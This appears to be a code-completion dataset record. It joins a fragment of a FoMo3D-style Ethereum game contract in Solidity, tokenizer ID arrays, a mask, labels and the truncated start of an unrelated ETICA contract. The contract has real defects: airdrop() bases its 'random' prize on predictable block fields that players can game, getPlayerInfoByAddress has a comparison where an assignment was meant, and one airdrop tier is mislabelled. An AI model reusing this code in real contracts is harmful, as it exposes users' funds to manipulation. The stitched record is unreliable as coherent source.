_affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100; uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_mkt); if (!owner.send(_com)) { _com = 0; _res = _res.add(_com); } // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.mktAmount = _mkt; // _eventData_.comAmount = _com; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number)))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100; _com = _com.add(_mkt); owner.transfer(_com); _eventData_.mktAmount = _mkt; // _eventData_.comAmount = _com; return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 cut = (fees_[_team].marketing).add(13); _eth = _eth.sub(_eth.mul(cut) / 100); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) { _gen = _gen.sub(_dust); } // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, // _eventData_.comAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public onlyOwner { // make sure that its been linked. // require(address(otherF3D_) != address(0), "must link to other FoMo3D first"); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } } library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 mktAmount; // amount distributed for marketing // uint256 comAmount; uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 marketing; // % of buy in thats paid for marketing } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 marketing; // % of pot thats paid to for marketing } } library F3DKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }
50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[0] = F3Ddatasets.TeamFee(30, 6);
1,205,350
[ 1, 3361, 9, 358, 5974, 16, 1728, 9, 358, 7103, 16, 576, 9, 358, 532, 16, 404, 9, 358, 5974, 7720, 16, 404, 9, 358, 23350, 3640, 5974, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1656, 281, 67, 63, 20, 65, 273, 478, 23, 40, 21125, 18, 8689, 14667, 12, 5082, 16, 1666, 1769, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; /* ETICA: a type1 civilization neutral protocol for medical research KEVIN WAD OSSENI */ /* MIT License Copyright © 26/08/2019, KEVIN WAD OSSENI Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. The Software is provided “as is”, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the Software. */ // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns 